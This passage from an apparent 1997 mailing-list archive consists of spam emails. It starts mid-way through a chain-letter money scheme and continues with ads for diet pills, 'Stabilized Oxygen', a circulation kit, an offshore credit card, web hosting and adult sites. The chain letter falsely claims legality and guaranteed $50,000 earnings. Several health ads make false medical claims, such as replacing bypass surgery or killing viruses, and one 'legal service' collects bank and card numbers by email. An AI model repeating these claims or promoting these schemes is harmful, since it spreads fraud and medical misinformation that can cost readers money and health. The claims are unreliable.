 contained in these REPORTS will not only help you in making your 
participation in this program more rewarding, but will be useful to you in any
 other business decisions you make in the years ahead. You are also
 buying the rights to reprint all of the REPORTS, which will be ordered 
from you by those to whom you mail this program. The concise one and 
two page REPORTS you will be buying can easily be reproduced at a
 local copy center for a cost off about 3 cents a copy. Best wishes with
 the program and Good Luck!

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your new company. You can use your own name if you
    desire.

2. Get a post office box (preferred).

3. Edit the names and addresses on the program. You must remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list.

4. Obtain as many e-mail addresses as possible to send until you receive the information on mailing list companies in REPORT #3. 

5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make.

6. After mailing the programs, get ready to fill the orders.

7. Copy the four 4 REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU
RECEIVE!

8. Make certain the letter and reports are neat and legible.

    YOUR GUARANTEE

The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, e-mail out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax,  because  YOU  ARE  GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of  those  who  have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."




</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: claudine@adultpatrol.com
Date: Fri, 4 Jul 1997 14:01:27 -0700 (PDT)
To: claudine@adultpatrol.com
Subject: Make $$$ with 800 Phone Numbers
Message-ID: <20490774600333@adultpatrol.com>
MIME-Version: 1.0
Content-Type: text/plain


 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Intended for Adult Webmasters.  If you have received this in error, please accept our 
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once you have done this, you will never receive another email from us.

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Hope to see you there,

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Mon, 14 Jul 1997 12:29:13 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Going to any festivals?
Message-ID: <199707041829.SAA01668@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


In this week's Festival Issue of the award-winning 
Shift Control (http://www.shiftcontrol.com)...

Reg Presley, lead singer with Sixties legends the Troggs, 
provides a sound argument for today's festivals; we 
supply full listings for 30 summer events throughout 
Britain and Europe; and this week's interactive quiz 
asks: how wild are you about festivals?

Plus...

"Take your own food. Some people see a festival as 
an opportunity to lose a couple of stone, and judging 
by most of the food sold at them it's not difficult to 
see why. Just because it's organic doesn't mean it's 
edible, man. Take your own bread and Pringles. A baguette 
is also a good idea, as you can wave it in the air during 
an Orbital gig." 
- Nick Green on what to take and what not to take to a 
summer festival.

"While Richard Krajicek and friends took early showers, 
mud baths were the order of the day at Glastonbury. It 
seems that those at Glastonbury enjoyed a weekend of filthy, 
sweaty, fun, while at Wimbledon it was all code violations 
and double faults. If we are really to admire our sporting 
heroes, isn't it about time they had some more balls in the rain?" 
- Roland Rocks rants about British tennis's lack of sporting 
courage.

"We ate felafel, chick-pea curry and something with yellow 
peas poured from a bucket, then decided to head backstage. 
There we bumped into too many people we know who proceeded go 
on about their hotel rooms, showers and marble-lined bathroom 
suites with pre-heated loo paper. We decide it was time to 
either leave or kill them." 
- Simon Waldman on the great Glasto wash-out.

Shift Control: raking the muck, NOW, at 
http://www.shiftcontrol.com
__________________________________________

Shift Control is produced by the Guardian's New Media Lab with 
help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FutureGate Web Services <taxbuster@futuregate.com>
Date: Fri, 4 Jul 1997 20:47:35 -0700 (PDT)
To: Celebrating July 4th <cyberstaci@aol.com>
Subject: Income Tax News - July 4th Edition
Message-ID: <199707050347.UAA24630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Happy 4th of July!!

I hope your celebration is going well. I am celebrating with a special announcement of the new expanded TaxBuster Guide. Although the second addition contains much new information on how you can lawfully opt out of the Federal income tax system, the price for access to the web-site will remain at $9.95 to celebrate the 221st birthday of the Declaration of Independence.

If you have ever wanted to study this powerful information now is the best time, visit the TaxBuster Guide at:

http://www.futuregate.com/tax_buster

You will also find links to other great sites like:

AutoBuy - The Buyer's Resource
Marie's Country Music Island
FutureGate's Best WWW Hosting and Web-Site Promotion
The Watkins Products Catalog - Online


----------------------------------------------------------------------

To be removed from any future mailings, just reply with REMOVE in the
subject line.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: relay@relaynet.com
Date: Sat, 5 Jul 1997 14:37:39 -0700 (PDT)
To: relay@relyaynet.net
Subject: The easiest credit repair and improvement kit
Message-ID: <199707052127.QAA23148@mailhost.chicago.il.ameritech.net>
MIME-Version: 1.0
Content-Type: text/plain


Hey Everybody!!!

If you will be applying for a mortgage (or, any other kind of
loan) soon, or, if you have been denied credit recently, or,
if you suspect that your credit report contains errors, you
will find this credit repair kit incredibly useful.

The easiest do-it-yourself credit repair kit, C-Repair, was
designed to help you get the top-notch credit rating - using
the same legal methods for which 'Credit Repair' attroneys
charge thousads of dollars. It can help you get Credit Cards
if you have been denied credit. It also provides information
on your rights and consumer credit related laws.

For more details visit us on the Web (Sometimes this site gets
very busy. If you get an error, just try us back at a later
time, or, e-mail us at the address given below). Our homepage
is http://www.digital-market.com/~usefulsoftware/. We can also
e-mail you a free, no obligation demo copy. Please e-mail us
at usefulsoftware@digital-market.com.

=============================================================
This is a one time mailing. We will not e-mail you at this
address again.
=============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ballman@t-1net.com
Date: Sun, 6 Jul 1997 05:35:35 -0700 (PDT)
To: buy.golfballs@lower.prices
Subject: golf stuff
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





=====> WE WANT YOU TO KNOW MORE ABOUT GOLF BALLS <=======

Lets Take Air For Example....

All of us know how tough it is to hit a good shot in windy conditions.
We assume therefore that air is just another natural element we must
out wit in order to score well.  In reality, AIR is what makes it
possible for us the hit the ball as far as we do.  The SPIN we impart
on a ball actually gives the ball lift, much like the wing on an
aircraft imparts lift.  This lift makes it possible for the ball to
stay airborne longer, enabling it to travel farther.

In a vacuum, the average 250 yard drive would only travel about 180
yards.  A winged aircraft would not fly.

Air is your Friend....::))

Now here's one for you......Does a ball fly farther on a hot dry day
or cold wet day??....How about a hot humid day or a cold dry day ?

Let me know what you think.

Golfballs Unlimited USA reclaims balls from over 130 courses in 13 
states.  We stock over 50 varieties of balls.  If you're an average
player, by the time you have played 3 holes with a new ball, you are 
playing with a ball that's in much worse condition than our premium balls.

We offer the highest possible quality recycled balls available...at
direct pricing....HUGE SAVINGS over new balls.  Yes we have BALATAS.

Customer Satisfaction Is Absolutely Guaranteed.

If you would like a free catalog, just send me an email.

Click Here For Free Catalog


Regards,

Dana Jones
The Ballman
ballman@t1-net.com


Our Mission:  To Be The Best (As Determined By Our Customers)
Suppliers of Quality Recycled Golf Balls

BUY SELL TRADE


ps..I have worked carefully to see that this educational information goes only to
those who may have an interest. If you do not, please send me back an 
email with remove as the subject.  I will not mail to you again.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: websp@wsp1.websp.com
Date: Sun, 6 Jul 1997 04:42:27 -0700 (PDT)
Subject: Inexpensive Web Space
Message-ID: <199707061139.HAA06025@wsp1.websp.com>
MIME-Version: 1.0
Content-Type: text/plain


We are a new company in the Internet Presence Provider business,
appropriately named The WebService Provider. We are looking for new
customers who need a place to host their web pages. We offer premium
services at a low price.  Our services range from email addresses to
virtual domains.  Most providers in this area of business give you a
small amount of space to host your web pages for the same price as ours.  

Check out our web page at http://www.websp.com to sign up or for more
information.

Our prices:
Type:                   Monthly Fee:   Setup Fee:   Includes:    
Personal Account        $15            $0           20MB CGI 1 Email
Business Account        $25            $0           40MB CGI 5 Email
Virtual Domain          $0!!!          $30*         www.yourname.com 
Virtual Host            $0!!!          $30          yourname.websp.com
Shell Account           $10            $0           10MB 1 Email
Email Address           $5             $5           1 Email (pop or pine)
* excluding $100 InterNIC fee

Here are some questions we asked ourselves when starting up our web
hosting business.


Why you should have a web page for yourself or your business?

Having a web page gives you an inexpensive way to reach potentially
millions of people.  The World Wide Web is one of the fastest growing
mediums in today's society.  So, you only have the possiblity to reach
more people.  With a web page you can spread your ideas, services,
and products.  When you sign up for our service you not only get space for
your web pages on our server, but an email address that your net visitors
can respond to you at instantaneously.  You can can get feedback about
your page immediately through your email address.  


Why should your web page be hosted with The WebService Provider?

The WebService Provider has the invested its money in the fastest
technology available to us.  We have a Pentium Pro Web Server with 64MB of
RAM (soon to be 128MB), and a 10/mbs connection (almost 10 times the speed
of a T1) to our T3 (45 times the speed of a T1) provider.  Our connection
is solely dedicated to your web pages.  We don't have dial-in customers
bogging down the connection that is supposed to be for serving your web
pages.

We not only have the technical side, but if you have a problem we are here
to answer it.  All email is responded to the same day, and if we don't
have an answer for you, we'll get back to you the same day letting you
know what the story is.  All of our employees have an extensive background
in the Internet and in system administration.


Why should you sign up with The WebService Provider and not your current
Internet Service Provider?

If you sign up for web space at your current ISP, and you move, so does
your web page and your email address.  With the WebService Provider your
web page address (url) and email address never change no matter what ISP
you sign up with.


Please visit our web page at www.websp.com, we look forward to hearing
from you.  If you want more information about us or the services we
provide feel free to email us at info@websp.com (human email).

Thanks,
The WebService Provider

***
If you did not want to recieve this message don't worry we will never
send it to you again.  Sorry!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ysidro1@earthlink.net
Date: Sun, 6 Jul 1997 16:52:46 -0700 (PDT)
To: ysidro1@earthlink.net
Subject: Hi
Message-ID: <29438596_82902697>
MIME-Version: 1.0
Content-Type: text/plain



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combine to increase blood flow(Oxygen and Nutrition)throughout the 
entire body. This kit can avoid the need for risky,painful and 
expensive medical procedures such as bypass and angioplasty.The kit 
benefits all 40,000 miles of arterial circulation, rather than just 
few inches that bypass operations and angioplasty addresses.

To buy  a complete line of Engarde Health Products Visit http://www.adult.com/link5/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: toner98@hotmail.com
Date: Sat, 6 Dec 1997 20:36:40 -0800 (PST)
To: Friend@public.com
Subject: TONER
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





                    BENCHMARK PRINT SUPPLY
                      1091 Redstone Lane
                       Atlanta GA 30338
                         (770)399-0953

                    ***NEW ANNOUNCEMENT****

          OUR NEW, LASER/FAX TONER CARTRIDGE,PRICES 
                     NOW AS LOW AS $39 & UP


      WE CARRY MOST ALL LASER PRINTER CARTRIDGES, FAX SUPPLIES
         AND COPIER TONERS AT WAREHOUSE PRICES INCLUDING:

    HEWLETT PACKARD SERIES 2,3,4,5,2P,3P,4P,5P,4L,5L,3SI,4SI,5SI
           IBM/LEXMARK SERIES 4019,4029,4039,4049,OPTRA
            EPSON SERIES 1000,1100,1500,6000,7000,8000
                          NEC   SERIES 95
      CANON FAX/LASER CARTRIDGES INCLUDING 700/770/5000/7000
            CANON COPIER PC SERIES INCLUDING 3,6RE,7,10
                HP FAX SERIES INCLUDING FX1,FX2,FX3

       PRICES CHANGE WEEKLY, PLEASE CALL TO GET MOST RECENT
                     PRICING  AND AVAILABILITY.


                  All major credit cards accepted. 
     Corporate term accounts available with approved credit.
                  We're open 24 hrs 7 days/week

  
      ORDER FROM  BENCHMARK PRINT SUPPLY ONE OF THE LARGEST 
 DISTRIBUTERS OF FAX/PRINTER/COPIER SUPPLIES WITH UNCONDITIONAL
                1 YEAR WARRANTY ON ALL PRODUCTS .

       




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: health@infogate.co.il
Date: Mon, 7 Jul 1997 03:22:46 -0700 (PDT)
To: health@infogate.co.il
Subject: Attorney
Message-ID: <199707071022.DAA19806@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////
To comment or to have your address removed from our mailing list, see 
the end of this message.
///////////////////////////////////////////////////////////////////////

Put your own personal, business, or corporate attorney on retainer for only $70.  

Why pay $200.00 to $500.00 per hour for legal work?  Our staff of experienced 
attorneys are at your service.  Among the services provided are:

*  Legal writing and lawyer letters
*  Drafting and reviewing contracts and briefs
*  Research, advice, and opinions
*  Tax law
*  Real Estate
*  Negotiations and arbitrations
*  Accidents
*  Leases
*  Wills and trusts

You never have to leave the comfort of your home or office.  All work 
is done by phone, fax, or email.  You pay a monthly fee of only $70.  
The first hour each month is FREE and you pay only expenses plus 
$50 for each additional hour regardless of the type of work.

UNCONDITIONAL GUARANTEE - If you are not satisfied you will not 
be charged.  It's as simple as that.  

Note:  To protect your privacy, our name, address, and phone, fax and 
private email numbers will only be divulged to our clients. 

Don't get stuck paying one third of a cash settlement or a huge fee to an 
attorney for a few hours work.  Don't sign a contract, buy a house, settle a 
dispute, or make a major decision until you review it with your own personal 
attorney.  Don't let the company that's jerking you around get away without 
a lawyer letter.  Become our client now and have legal representation available 
at your finger tips.

To become our client, simply pay the $70 retainer fee for the first month.  Upon 
receipt of your retainer, we will send our contract of representation immediately.  
You can pay by Credit Card or Check by replying with the following information:

Your Name: 
Your Address: 
Your City, State, Zip: 
Your Phone, FAX, and Work Numbers: 
Your Email Address: 

CREDIT CARDS ONLY 

Name on card: 
Card Number: 
Expiration Date (Month and Year): 
Billing Address of Card: City, State, Zip:

CHECKS ONLY

Name Printed on Checks (must be authorized signer): 
Address on Checks: 
City, State, Zip: 
Bank Name: 
Bank Address: 
Bank Transit Number (Fraction in upper right corner of 
check, example 67-8/1442): 
Check Number: 
Checking Account Number: 
Bank Routing Number (9 digit number between colons):
Computer Number at the bottom left (include entire number with 
spaces and colons): 

When you submit your payment, you will be entitled to any type of 
legal work or representation that can be rendered by mail, phone, 
FAX, or email.  The first hour per month is FREE.  Each additional 
hour is $50 per hour plus expenses.   $70 per month will automatically 
be charged to your credit card or checking account.  You may cancel 
your contract at any time without penalty.  If you are not satisfied with 
our work, your hourly payment will be refunded.  You will receive a 
Credit Card or Check receipt monthly by your choice of regular 
mail, FAX, or email.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 
Read carefully, important information for only those NOT wishing 
to becomes clients. 

**  The sender of this message hereby rejects any and all 
offers of product or services.
**  The sender of this message hereby gives notice that any 
replies to this message that do not contain legitimate credit card or 
bank account numbers of a person wishing to become a client are 
discarded automatically without being read or acted upon.
**  If anyone not wishing to become a client has questions or 
comments, please phone 513-763-3884. 
**  The sender of this message hereby gives notice that due to system 
automation if, and only if, a reply has the word "remove" in the "Subject" 
field (not the message), is the address guaranteed to be removed from 
the mailing list.   
**  In most programs, If you double click to the right of the arrow below, 
the word "remove" will be written in the "Subject" field of the reply email 
for you!  Then, just send the message.

double click here ==> coloractionlabs@nevwest.com?subject=remove 

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 25532129@@server
Date: Mon, 7 Jul 1997 18:16:17 -0700 (PDT)
To: U@YourDomain.com
Subject: I Lost 4 lbs. in 4 Days...Without Dieting!!!
Message-ID: <393859c@GM49g8r.com>
MIME-Version: 1.0
Content-Type: text/plain


**************************************

EAT THE FOODS YOU LOVE

NO WILL POWER REQUIRED

**************************************

Anyone who has struggled to lose weight, like I did, 

can tell you DIETS ALONE DON'T WORK !  

That's because the difference between thin and overweight 

individuals has more to do with metabolic rate than what 

they eat.  It's believed most lean individuals have a

metabolism designed to BURN FAT !



We have designed a product that works

several ways to help you achieve maximum

results from your weight-loss program. This

unique blend of herbs, botanicals and Chromium

Picolinate, improves your metabolism so

your body relies more on stored fat and 

less on stored proteins.



"LOSE THE FAT....

       NOT THE MUSCLE"



Typically, up to 30% of lost weight is

muscle.  This lowers your metabolic rate and

slows calorie-burning.  This lowered metabolic

rate makes it hard to keep lost pounds from

creeping back.  Result: the "Yo-Yo" syndrome

in which weight is repeatedly lost and then 

regained.  After each lose-gain cycle the 

portion of fat increases.



To break this vicious cycle, it is important

to lose only fat while maintaining, or even 

increasing muscle.  Studies show that optimal

chromium nutrition is an effective part of long-term

fat-loss programs.  Our unique formula of 

specialized herbs and botanicals is coupled 

with the best source of chromium available,

patented Chromium Picolinate.



HERE'S EVIDENCE !



Several double-blind crossover studies

conducted along with clinical and laboratory

tests at a leading university and hospital have 

proven that the ingredients in this product are 

effective.



Without changing dietary or exercise

habits, over a six-week period, subjects in 

separate studies lost an average of 23% body fat or

approximately 4.4 lbs. of fat, and increased lean 

body mass by 1.5 lbs.



People over the age of 46 did even better,

and women seemed to do the best.  People

with elevated cholesterol levels averaged a 10%

drop in LDL cholesterol.



          WHAT EXACTLY IS 

      CHROMIUM PICOLINATE?



It's a bioactive chromium with clinically

proven benefits.  Chromium is vital to

good health and is essential for the efficient

functioning of insulin.  Poor responsiveness to 

insulin is common and is linked with increased

risk of being overweight, heart disease, elevated

blood fat, high blood presure and diabetes.



Over 90% of American diets provide much

less than the minimal amount of chromium

recommended by The National Academy

of Science.  Most forms of chromium are not

easily absorbed by the body, but chromium

picolinate, being bioactive, is easily absorbed.

In fact, it has been shown to reduce body fat,

lower cholesterol and even reduce elevated

block-sugar in diabetics.



THE DIET BREAKTHRU OF THE CENTURY !!



"Over the last 10 years, I have tried a variety of 

weight loss methods, spent thousands of dollars 

and failed at all of them.  By December 1995, I

was the heaviest I had ever weighed-235 lbs.

I had no energy.  My self-esteem had hit rock

bottom... I was introduced to Thermo Lift and 

have never looked back! My energy level has

boosted and my weight loss increased... In total

I have lost 70 lbs. and went from a size 22 to a

size 12.  The most amazing part - It's So Easy!"

Becky



"I began using Thermo-Lift the seventh week of 

gymnastics training to achieve a specific result: a

washboard stomach.  By the end of the eighth week

all I could see were solid stomach muscles!  I

recommend Thermo-Lift to all my muscle therapy

clientele for its superior fat burnng and muscle toning

abilities."   Chris



"I had tried everything to lose weight but nothing worked.

With Thermo-Lift I was amazed at how quickly I lost

weight - 4 pounds in 4 days! My energy level has 

sky rocketed and it's helped me curb my chocolate  

binges.  Thanks!!"       Gloria



      100% SAFE AND NATURAL!

!

       THE INGREDIENTS



Chromium Picolinate: Helps your body use stored fat for

energy while maintaining lean muscle mass.



Bee Pollen:  Effective for combating fatigue,

depression, and colon disorders.



Siberian Ginseng:  Is a good source of energy and

endurance, as well as mental and physical vigor.



Gota Kola:  Aids in the elimination of excess fluids, 

fights fatigue and depression.



Guarana Extract:  Increases mental alertness and fights

fatigue.  A very high energy source.



Ma Huang Extract:  Helps to increase energy; controls

appetite.



Also includes:  White Willow Bark, Bladderwrack, 

Reishi Mushroom, Rehmannia Root, Ginger Root,

Licorice Root, and Astralagus.



     NUTRITIONAL BREAKTHROUGH!



Now You Can Safely Shed Unwanted Fat -

Without Dieting Or Strenuous Exercise!  It's The

Way To Firm Up Without Giving Up The Food

You Love!



            IT'S SO EASY !



All You Do Is Take One Capsule Twice A Day!

No Messy Powders! No Starvation Diets! You'll

Lose Weight And Feel Great!



          IT REALLY WORKS!



Thermo Lift Improves Your Metabolism So Your

Body Burns Excess Fat!  The Result Is A Leaner, 

Trimmer, Firmer Physique!!



     Order your Thermo-Lift today!

     One - month supply is only $32.95



Fill out and Mail In:

YES!! Please rush me a one - month supply of 

Thermo-Lift!  Enclosed is a check/money order for

$32.95.



Name:___________________________



Address:_________________________



City:____________________________



State:____________Zip:____________



Phone:__________________________



Email Address:____________________





Mail to:

Dynamic Marketing Solutions

Dept. DVL707

10506 Eagle Glen

Houston, Tx 77041



The information contained in the report was derived from many medical,

nutrional and media publications.  It is not intended for medical or nutritional

claims but for information and educational purposes.  Please consult a health

professional should the need for one be indicated.





This is a NO DIET, NO WILL POWER, 

easy  to LOSE WEIGHT!!



Lose Weight, Eliminate FATIGUE, and FEEL GREAT!!!




















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: user329@ybecker.net
Date: Tue, 8 Jul 1997 01:06:59 -0700 (PDT)
To: user329@ybecker.net
Subject: You Might Find This Interesting & Informative.  I Did.
Message-ID: <011297055501222@g_health.com>
MIME-Version: 1.0
Content-Type: text/plain



FOR IMMEDIATE RELEASE

                    BIO/TECH NEWS  -  Special Edition

Millions of men and women are dying each year from chronic degenerative
diseases. But today, a growing number of top medical researchers from around
the country believe that many of these tragic deaths might be prevented if
people began oxygenating the cells and tissues of their bodies with a power-
ful but little-known supplement developed for the NASA astronauts called
Stabilized Oxygen. As the BIO/TECH News reveals, scientists have recently
discovered an amazing fact: Many victims of degenerative diseases have one
unusual thing in common -- they have extremely low levels of oxygen in their 
cells, tissues and bloodstream. But the truly good news is that according to
the experts, the benefits of taking Stabilized Oxygen on a daily basis
appear to be: increased oxygen uptake at the cellular level, a dramatic
boost in energy levels, a strengthened immune system, heightened concentration
and alertness, a calming effect on the nervous system, rapid destruction of
infectious bacteria, viruses, fungi, and parasites without harming beneficial
microorganisms needed by the body, greatly enhanced uptake of vitamins,
minerals, and other essential nutrients.

Frankly, we believe that the extraordinary new information contained in this 
powerful issue of the BIO/TECH News is so important to your health and to
your current and future quality of life, that we want you to have this issue
at absolutely  no cost to you. You won't find this kind of vital, completely
unique inside information anywhere else. It's available ONLY in the pages of
the BIO/TECH News.

For information on how you can receive your free copy of the BIO/TECH News,
simply reply "Send BIO/TECH Info" to camelot@savetrees.com and we'll send it to
you immediately upon your request.

                                                            - 30 -








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: markdan@wans.net
Date: Tue, 8 Jul 1997 02:11:19 -0700 (PDT)
To: markdan@wans.net
Subject: Free Florida Vacation
Message-ID: <0000000000.AAA000@wans.net>
MIME-Version: 1.0
Content-Type: text/plain



6 Days / 5 Nights
Daytona Beach
Orlando / Kissimmee

* 4 Star Rated Hotel/Motel

* Requirements
Age: Between 25-65
Income: $35K or Greater
Marital Status: Married

* NO DEPOSIT REQUIRED TO ORDER OR USE CERTIFICATE
* Suggested Fair-Market Value: $450
* Certificate Good for 1-Year!
* NO PURCHASE NECESSARY

* Must Attend a 1-Hour Presentation of Interval Ownership at each destination.
* Must Stay in Each Location



* Reply E-Mail to "promo@cmpu.net" With your Name and Mailing Address.

* This advertisement is being used for the purpose of soliciting Interval Ownership time periods.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: img@llv.com
Date: Tue, 8 Jul 1997 14:30:50 -0700 (PDT)
To: friend@public.com
Subject: Home-based Business Opportunity
Message-ID: <199706190025.GAA08056@lllv.com>
MIME-Version: 1.0
Content-Type: text/plain


"Get Rich Quick - Chain Letters - MLM - Millionaires"

What's your dream?  A new car?  A new home?
Financial security?  I sincerely believe that these
dreams - and others - are available on the WWW.

With Internet Marketing, your income is limited
only by your ambition and your willingness to
learn.

Over the past year, I've personally invested over 
$50,000 in the research and development of what 
I consider to be the most viable and realistic Internet
Business Opportunities. 

It is my plan to share my knowledge and marketing
experience of over 30 years with a limited number
of Associates throughout the world.

You can be one of those Associates.  You can
realize your personal financial dreams.

A well-known adage goes, "today is the first day of
the rest of your life" - another, "if you always do
what you've always done, you'll always get what
you've always gotten."

I'd like to help you change your future.  I'd like
to help you find your dream.  For, I believe
sincerely, through helping others realize their
hopes and dreams, I can realize my goals.

My name is Jack Shearin and I'm the Founder of
Internet Marketing Group International.  This
organization is dedicated, as its name implies,
to the marketing of products and services over
the Internet.

I'd like to extend my personal invitation to you to
visit our Web Site at http://www.imgi.com to
check out what is perhaps one of the most exciting
Home-Based Business Opportunities in 'Cyberia'.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ameritech.net subscriber email information" <promoweb@ameritech.net>
Date: Wed, 9 Jul 1997 08:50:45 -0700 (PDT)
To: promoweb@ameritech.net
Subject: Adults ONLY
Message-ID: <18725478612534@hottotal.com>
MIME-Version: 1.0
Content-Type: text/plain


Catch your favorite stars & supermodels with their clothes off!!!

The hottest collection on the web!!!

CLICK HERE!!!

Discount Adult XXX Videos!!!  You'll have to see these prices to believe them!!!

CLICK HERE!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zx325s7xv@uunet.uu.net
Date: Thu, 10 Jul 1997 12:28:06 -0700 (PDT)
To: dynamarket@vapor.net</A>
Subject: Question...
Message-ID: <dynamarket@vapor.net>
MIME-Version: 1.0
Content-Type: text/plain


Question: What would it be worth to you:

If you are in a RELATIONSHIP... to gain the understanding
and knowledge to make love last forever?

If you are a PARENT... to learn proven, effective techniques
to give your children the gift of self esteem, and teach them
confidence- building values to help them achieve their full
potential?

If you are in BUSINESS... to increase your negotiating power
to save on your bottom line, or to acquire ideas, concepts
and strategies to increase your profits?

If you are in SALES... to double your sales in the next six
months?

If You Have a CAREER... to earn promotions faster, gain the
latest techniques to manage and motivate your team, and
learn how to become more effective at managing your time?

If you care about your FINANCES... to build a secure "financial
wall" around your family and gain leading-edge information
and strategies for retirement and long term wealth?

If you care about your HEALTH... to get the latest information
on nutrition and workout techniques to help you live longer and
get the most out of life?

<><><><> Seminars in Your Living Room <><><><>

What would it be worth to magically beam the greatest
counselors in the country right into your living room? Just a
few of the top names include:

- Og Mandino
- Mark Victor Hansen
- Brian Tracy
- Les Brown
- Paul J. Meyer
- and many more!
 
Major corporations routinely spend nearly $1 million to hire
these success coaches for just one day!

Interested in learning more? Please visit:
http://www.windansea1.com/tpnref.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: markdan@nt1.azone.net
Date: Thu, 10 Jul 1997 23:54:22 -0700 (PDT)
To: markdan@nt1.azone.net
Subject: Major International Credit Card
Message-ID: <0000000000.AAA000@azone.net>
MIME-Version: 1.0
Content-Type: text/plain


A lot of others talk about it!
               THEY DID IT!

                 $5000.00
     Major International Credit Card

     GUARANTEED  UNSECURED!
   Regardless of Credit History
        Even Bankruptcy!

No Social Security Number Needed! No Credit or Bad Credit? It
doesn't matter! Everyone Qualifies! Complete Financial Privacy!

Guaranteed approval from Offshore Financial Institution
 6.95% starting
 Minimum $5,000.00 Credit Limit!
 Maximum $15,000.00 Line of Credit!
 This is a Legitimate Offer!
 Registered with Better Business Bureau 
 
Last year 20 million were turned down by banks for credit
cards...even if you don't need or don't want a credit card,
thousands of people do!
 
And as a Bonus An Opportunity to Make More Money!
Everyone you refer you make $25.00 Checks paid weekly.
With a filled matrix you receive $4,841.24 MONTHLY
Must be 18 years or older

For Enrollment And Information Packet <A HREF="http://rensaw.com/dls/creditcard.html
">Click Here</a>

or visit:   http://rensaw.com/dls/creditcard.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FutureGate Web Services <submit@futuregate.com>
Date: Fri, 11 Jul 1997 03:38:05 -0700 (PDT)
To: Web-Site Exposure <cyberric@aol.com>
Subject: Submit Your Web-Site to 200+ engines/indexes
Message-ID: <199707111037.DAA18630@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


 FutureGate's new "Super-Submission 150" service is a quick,
 inexpensive and effective way to increase your web site traffic or
 "hits".  We will do the work required to make your site easier to
 find.  We submit your information to the most popular directories and
 search engines in use today, making your site easily accessible to
 the millions of people looking for what you have to offer on the web.

We will submit your web-site to 150 directories and search engines, at
a low introductory fee of $29.95.

Visit the web-site for details and a special bonus offer:

http://www.futuregate.com/supersubmit/


----------------------------------------------------------------------

To be removed from any future mailings, just reply with REMOVE in the
subject line.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: linkhost@hotmail.com
Date: Fri, 11 Jul 1997 16:21:09 -0700 (PDT)
To: linkhost@hotmail.com
Subject: At Last ! FREE HITS from SexSwap
Message-ID: <199707112215.SAA09349@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


Sexswap is an effective hit generator that concentrates
all banner exchanges in the strongest segment of the internet...
the Adult Industry.

Any webmaster with an adult site can join. Fill out a short form, paste 
in some code, and upload your banner. Within minutes, you will be 
accumulating FREE banner advertising on hundreds of similar sex sites.

1 Fast and easy free hits
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Perhaps the most popular way to increase traffic is through banner-trades 
or link-swaps. These methods are effective, but also time consuming. A 
person can join Sexswap instantly and begin having his/her banner shown 
on hundreds of sites around the world.

2 Automated to save time and energy
/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
In the old days, we'd surf over to an adult site, try to locate the 
